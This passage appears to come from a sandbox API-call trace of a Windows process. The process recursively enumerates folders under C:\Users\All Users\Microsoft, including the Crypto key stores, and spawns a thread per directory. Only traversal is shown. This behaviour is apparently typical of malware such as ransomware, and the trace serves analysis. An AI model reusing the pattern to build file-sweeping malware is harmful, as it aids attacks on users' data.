Users\\Microsoft\\ClickToRun\\UserData") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\UserData" [0171.074] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x2f63fb0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3b4 [0171.075] FindNextFileW (in: hFindFile=0x2f7fe20, lpFindFileData=0x2f99b20 | out: lpFindFileData=0x2f99b20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49bee514, ftCreationTime.dwHighDateTime=0x1d32745, ftLastAccessTime.dwLowDateTime=0x861f8650, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x861f8650, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{9AC08E99-230B-47e8-9721-4577B7F124EA}", cAlternateFileName="{9AC08~1")) returned 1 [0171.075] wcscmp (_String1="{9AC08E99-230B-47e8-9721-4577B7F124EA}", _String2=".") returned 1 [0171.075] wcscmp (_String1="{9AC08E99-230B-47e8-9721-4577B7F124EA}", _String2="..") returned 1 [0171.075] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x9e) returned 0x2fee4e0 [0171.075] wcscpy (in: _Dest=0x2fee4e0, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun" [0171.075] wcscat (in: _Dest=0x2fee4e0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\" [0171.075] wcscat (in: _Dest=0x2fee4e0, _Source="{9AC08E99-230B-47e8-9721-4577B7F124EA}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}" [0171.075] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x2fee4e0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x378 [0171.076] FindNextFileW (in: hFindFile=0x2f7fe20, lpFindFileData=0x2f99b20 | out: lpFindFileData=0x2f99b20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49bee514, ftCreationTime.dwHighDateTime=0x1d32745, ftLastAccessTime.dwLowDateTime=0x861f8650, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x861f8650, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{9AC08E99-230B-47e8-9721-4577B7F124EA}", cAlternateFileName="{9AC08~1")) returned 0 [0171.076] FindClose (in: hFindFile=0x2f7fe20 | out: hFindFile=0x2f7fe20) returned 1 [0171.076] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f99b20) returned 1 [0171.076] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa9f10) returned 1 [0171.076] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f6b640) returned 1 [0171.076] RtlExitUserThread (Status=0x0) Thread: id = 1805 os_tid = 0xefc [0169.252] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4c) returned 0x2f88ec8 [0169.252] wcscpy (in: _Dest=0x2f88ec8, _Source="C:\\Users\\All Users\\Microsoft\\Crypto" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Crypto") returned="C:\\Users\\All Users\\Microsoft\\Crypto" [0169.252] wcscat (in: _Dest=0x2f88ec8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Crypto\\") returned="C:\\Users\\All Users\\Microsoft\\Crypto\\" [0169.252] wcscat (in: _Dest=0x2f88ec8, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Crypto\\*") returned="C:\\Users\\All Users\\Microsoft\\Crypto\\*" [0169.252] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x2f99d88 [0169.252] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\*", lpFindFileData=0x2f99d88 | out: lpFindFileData=0x2f99d88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x77356b64, ftLastAccessTime.dwHighDateTime=0x1d32793, ftLastWriteTime.dwLowDateTime=0x77356b64, ftLastWriteTime.dwHighDateTime=0x1d32793, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2f80060 [0169.253] wcscmp (_String1=".", _String2=".") returned 0 [0169.253] FindNextFileW (in: hFindFile=0x2f80060, lpFindFileData=0x2f99d88 | out: lpFindFileData=0x2f99d88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x77356b64, ftLastAccessTime.dwHighDateTime=0x1d32793, ftLastWriteTime.dwLowDateTime=0x77356b64, ftLastWriteTime.dwHighDateTime=0x1d32793, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0169.253] wcscmp (_String1="..", _String2=".") returned 1 [0169.253] wcscmp (_String1="..", _String2="..") returned 0 [0169.253] FindNextFileW (in: hFindFile=0x2f80060, lpFindFileData=0x2f99d88 | out: lpFindFileData=0x2f99d88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x42e812c9, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x42e812c9, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DSS", cAlternateFileName="")) returned 1 [0169.253] wcscmp (_String1="DSS", _String2=".") returned 1 [0169.253] wcscmp (_String1="DSS", _String2="..") returned 1 [0169.253] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x50) returned 0x2f88aa8 [0169.254] wcscpy (in: _Dest=0x2f88aa8, _Source="C:\\Users\\All Users\\Microsoft\\Crypto" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Crypto") returned="C:\\Users\\All Users\\Microsoft\\Crypto" [0169.254] wcscat (in: _Dest=0x2f88aa8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Crypto\\") returned="C:\\Users\\All Users\\Microsoft\\Crypto\\" [0169.254] wcscat (in: _Dest=0x2f88aa8, _Source="DSS" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Crypto\\DSS") returned="C:\\Users\\All Users\\Microsoft\\Crypto\\DSS" [0171.047] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x2f88aa8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x494 [0171.047] FindNextFileW (in: hFindFile=0x2f80060, lpFindFileData=0x2f99d88 | out: lpFindFileData=0x2f99d88*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbd33178c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcdfeea, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Keys", cAlternateFileName="")) returned 1 [0171.047] wcscmp (_String1="Keys", _String2=".") returned 1 [0171.047] wcscmp (_String1="Keys", _String2="..") returned 1 [0171.047] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x52) returned 0x2fa4480 [0171.047] wcscpy (in: _Dest=0x2fa4480, _Source="C:\\Users\\All Users\\Microsoft\\Crypto" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Crypto") returned="C:\\Users\\All Users\\Microsoft\\Crypto" [0171.047] wcscat (in: _Dest=0x2fa4480, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Crypto\\") returned="C:\\Users\\All Users\\Microsoft\\Crypto\\" [0171.048] wcscat (in: _Dest=0x2fa4480, _Source="Keys" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Crypto\\Keys") returned="C:\\Users\\All Users\\Microsoft\\Crypto\\Keys" [0171.048] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x2fa4480, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9d0 [0171.048] FindNextFileW (in: hFindFile=0x2f80060, lpFindFileData=0x2f99d88 | out: lpFindFileData=0x2f99d88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x416372c8, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x416372c8, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PCPKSP", cAlternateFileName="")) returned 1 [0171.048] wcscmp (_String1="PCPKSP", _String2=".") returned 1 [0171.048] wcscmp (_String1="PCPKSP", _String2="..") returned 1 [0171.048] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x56) returned 0x2fa49c0 [0171.048] wcscpy (in: _Dest=0x2fa49c0, _Source="C:\\Users\\All Users\\Microsoft\\Crypto" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Crypto") returned="C:\\Users\\All Users\\Microsoft\\Crypto" [0171.048] wcscat (in: _Dest=0x2fa49c0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Crypto\\") returned="C:\\Users\\All Users\\Microsoft\\Crypto\\" [0171.049] wcscat (in: _Dest=0x2fa49c0, _Source="PCPKSP" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Crypto\\PCPKSP") returned="C:\\Users\\All Users\\Microsoft\\Crypto\\PCPKSP" [0171.049] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x2fa49c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9d4 [0171.049] FindNextFileW (in: hFindFile=0x2f80060, lpFindFileData=0x2f99d88 | out: lpFindFileData=0x2f99d88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x77356b64, ftLastAccessTime.dwHighDateTime=0x1d32793, ftLastWriteTime.dwLowDateTime=0x77356b64, ftLastWriteTime.dwHighDateTime=0x1d32793, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RSA", cAlternateFileName="")) returned 1 [0171.049] wcscmp (_String1="RSA", _String2=".") returned 1 [0171.049] wcscmp (_String1="RSA", _String2="..") returned 1 [0171.049] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x50) returned 0x2f88f78 [0171.049] wcscpy (in: _Dest=0x2f88f78, _Source="C:\\Users\\All Users\\Microsoft\\Crypto" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Crypto") returned="C:\\Users\\All Users\\Microsoft\\Crypto" [0171.049] wcscat (in: _Dest=0x2f88f78, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Crypto\\") returned="C:\\Users\\All Users\\Microsoft\\Crypto\\" [0171.049] wcscat (in: _Dest=0x2f88f78, _Source="RSA" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA") returned="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA" [0171.050] Sleep (dwMilliseconds=0x1) [0171.063] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x2f88f78, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x59c [0171.064] FindNextFileW (in: hFindFile=0x2f80060, lpFindFileData=0x2f99d88 | out: lpFindFileData=0x2f99d88*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xcc3cbc1c, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x86290f6e, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x86290f6e, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SystemKeys", cAlternateFileName="SYSTEM~1")) returned 1 [0171.064] wcscmp (_String1="SystemKeys", _String2=".") returned 1 [0171.064] wcscmp (_String1="SystemKeys", _String2="..") returned 1 [0171.064] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x5e) returned 0x2f87af8 [0171.064] wcscpy (in: _Dest=0x2f87af8, _Source="C:\\Users\\All Users\\Microsoft\\Crypto" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Crypto") returned="C:\\Users\\All Users\\Microsoft\\Crypto" [0171.064] wcscat (in: _Dest=0x2f87af8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Crypto\\") returned="C:\\Users\\All Users\\Microsoft\\Crypto\\" [0171.064] wcscat (in: _Dest=0x2f87af8, _Source="SystemKeys" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Crypto\\SystemKeys") returned="C:\\Users\\All Users\\Microsoft\\Crypto\\SystemKeys" [0171.064] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x2f87af8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7b4 [0171.065] FindNextFileW (in: hFindFile=0x2f80060, lpFindFileData=0x2f99d88 | out: lpFindFileData=0x2f99d88*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xcc3cbc1c, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x86290f6e, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x86290f6e, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SystemKeys", cAlternateFileName="SYSTEM~1")) returned 0 [0171.065] FindClose (in: hFindFile=0x2f80060 | out: hFindFile=0x2f80060) returned 1 [0171.065] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f99d88) returned 1 [0171.065] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f88ec8) returned 1 [0171.065] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa1090) returned 1 [0171.065] RtlExitUserThread (Status=0x0) Thread: id = 1806 os_tid = 0xf00 [0169.254] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x50) returned 0x2f88f20 [0169.254] wcscpy (in: _Dest=0x2f88f20, _Source="C:\\Users\\All Users\\Microsoft\\DataMart" | out: _Dest="C:\\Users\\All Users\\Microsoft\\DataMart") returned="C:\\Users\\All Users\\Microsoft\\DataMart" [0169.254] wcscat (in: _Dest=0x2f88f20, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\DataMart\\") returned="C:\\Users\\All Users\\Microsoft\\DataMart\\" [0169.254] wcscat (in: _Dest=0x2f88f20, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\DataMart\\*") returned="C:\\Users\\All Users\\Microsoft\\DataMart\\*" [0169.254] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x2f9abf8 [0169.254] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\DataMart\\*", lpFindFileData=0x2f9abf8 | out: lpFindFileData=0x2f9abf8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd4badec, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c6f037, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2f7fae0 [0169.255] wcscmp (_String1=".", _String2=".") returned 0 [0169.255] FindNextFileW (in: hFindFile=0x2f7fae0, lpFindFileData=0x2f9abf8 | out: lpFindFileData=0x2f9abf8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd4badec, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c6f037, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0169.255] wcscmp (_String1="..", _String2=".") returned 1 [0169.255] wcscmp (_String1="..", _String2="..") returned 0 [0169.255] FindNextFileW (in: hFindFile=0x2f7fae0, lpFindFileData=0x2f9abf8 | out: lpFindFileData=0x2f9abf8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd4bb986, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c6f037, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PaidWiFi", cAlternateFileName="")) returned 1 [0169.255] wcscmp (_String1="PaidWiFi", _String2=".") returned 1 [0169.255] wcscmp (_String1="PaidWiFi", _String2="..") returned 1 [0169.255] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x5e) returned 0x2f878f0 [0169.255] wcscpy (in: _Dest=0x2f878f0, _Source="C:\\Users\\All Users\\Microsoft\\DataMart" | out: _Dest="C:\\Users\\All Users\\Microsoft\\DataMart") returned="C:\\Users\\All Users\\Microsoft\\DataMart" [0169.255] wcscat (in: _Dest=0x2f878f0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\DataMart\\") returned="C:\\Users\\All Users\\Microsoft\\DataMart\\" [0169.255] wcscat (in: _Dest=0x2f878f0, _Source="PaidWiFi" | out: _Dest="C:\\Users\\All Users\\Microsoft\\DataMart\\PaidWiFi") returned="C:\\Users\\All Users\\Microsoft\\DataMart\\PaidWiFi" [0171.045] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x2f878f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x668 [0171.046] FindNextFileW (in: hFindFile=0x2f7fae0, lpFindFileData=0x2f9abf8 | out: lpFindFileData=0x2f9abf8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd4bb986, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c6f037, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PaidWiFi", cAlternateFileName="")) returned 0 [0171.046] FindClose (in: hFindFile=0x2f7fae0 | out: hFindFile=0x2f7fae0) returned 1 [0171.046] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f9abf8) returned 1 [0171.046] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f88f20) returned 1 [0171.046] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f68448) returned 1 [0171.046] RtlExitUserThread (Status=0x0) Thread: id = 1807 os_tid = 0xf04 [0169.256] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x58) returned 0x2fa4840 [0169.256] wcscpy (in: _Dest=0x2fa4840, _Source="C:\\Users\\All Users\\Microsoft\\Device Stage" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Device Stage") returned="C:\\Users\\All Users\\Microsoft\\Device Stage" [0169.256] wcscat (in: _Dest=0x2fa4840, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Device Stage\\") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\" [0169.256] wcscat (in: _Dest=0x2fa4840, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Device Stage\\*") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\*" [0169.256] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x2f9ae60 [0169.256] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\*", lpFindFileData=0x2f9ae60 | out: lpFindFileData=0x2f9ae60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd4bc8c7, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2f7fba0 [0169.256] wcscmp (_String1=".", _String2=".") returned 0 [0169.256] FindNextFileW (in: hFindFile=0x2f7fba0, lpFindFileData=0x2f9ae60 | out: lpFindFileData=0x2f9ae60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd4bc8c7, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0169.256] wcscmp (_String1="..", _String2=".") returned 1 [0169.256] wcscmp (_String1="..", _String2="..") returned 0 [0169.256] FindNextFileW (in: hFindFile=0x2f7fba0, lpFindFileData=0x2f9ae60 | out: lpFindFileData=0x2f9ae60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd4bd6f2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Device", cAlternateFileName="")) returned 1 [0169.256] wcscmp (_String1="Device", _String2=".") returned 1 [0169.256] wcscmp (_String1="Device", _String2="..") returned 1 [0169.256] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x62) returned 0x2f63f28 [0169.256] wcscpy (in: _Dest=0x2f63f28, _Source="C:\\Users\\All Users\\Microsoft\\Device Stage" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Device Stage") returned="C:\\Users\\All Users\\Microsoft\\Device Stage" [0169.257] wcscat (in: _Dest=0x2f63f28, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Device Stage\\") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\" [0169.257] wcscat (in: _Dest=0x2f63f28, _Source="Device" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device" [0171.042] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x2f63f28, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x66c [0171.043] FindNextFileW (in: hFindFile=0x2f7fba0, lpFindFileData=0x2f9ae60 | out: lpFindFileData=0x2f9ae60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd555071, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Task", cAlternateFileName="")) returned 1 [0171.043] wcscmp (_String1="Task", _String2=".") returned 1 [0171.043] wcscmp (_String1="Task", _String2="..") returned 1 [0171.043] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x5e) returned 0x2f87ea0 [0171.043] wcscpy (in: _Dest=0x2f87ea0, _Source="C:\\Users\\All Users\\Microsoft\\Device Stage" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Device Stage") returned="C:\\Users\\All Users\\Microsoft\\Device Stage" [0171.043] wcscat (in: _Dest=0x2f87ea0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Device Stage\\") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\" [0171.043] wcscat (in: _Dest=0x2f87ea0, _Source="Task" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task" [0171.043] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x2f87ea0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9cc [0171.044] FindNextFileW (in: hFindFile=0x2f7fba0, lpFindFileData=0x2f9ae60 | out: lpFindFileData=0x2f9ae60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd555071, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Task", cAlternateFileName="")) returned 0 [0171.044] FindClose (in: hFindFile=0x2f7fba0 | out: hFindFile=0x2f7fba0) returned 1 [0171.044] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f9ae60) returned 1 [0171.044] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa4840) returned 1 [0171.044] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2faa030) returned 1 [0171.044] RtlExitUserThread (Status=0x0) Thread: id = 1808 os_tid = 0xf08 [0169.257] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x54) returned 0x2fa48a0 [0169.257] wcscpy (in: _Dest=0x2fa48a0, _Source="C:\\Users\\All Users\\Microsoft\\DeviceSync" | out: _Dest="C:\\Users\\All Users\\Microsoft\\DeviceSync") returned="C:\\Users\\All Users\\Microsoft\\DeviceSync" [0169.257] wcscat (in: _Dest=0x2fa48a0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\DeviceSync\\") returned="C:\\Users\\All Users\\Microsoft\\DeviceSync\\" [0169.257] wcscat (in: _Dest=0x2fa48a0, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\DeviceSync\\*") returned="C:\\Users\\All Users\\Microsoft\\DeviceSync\\*" [0169.257] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x2f9b0c8 [0169.257] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\DeviceSync\\*", lpFindFileData=0x2f9b0c8 | out: lpFindFileData=0x2f9b0c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd64c64e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2f7fbe0 [0169.258] wcscmp (_String1=".", _String2=".") returned 0 [0169.258] FindNextFileW (in: hFindFile=0x2f7fbe0, lpFindFileData=0x2f9b0c8 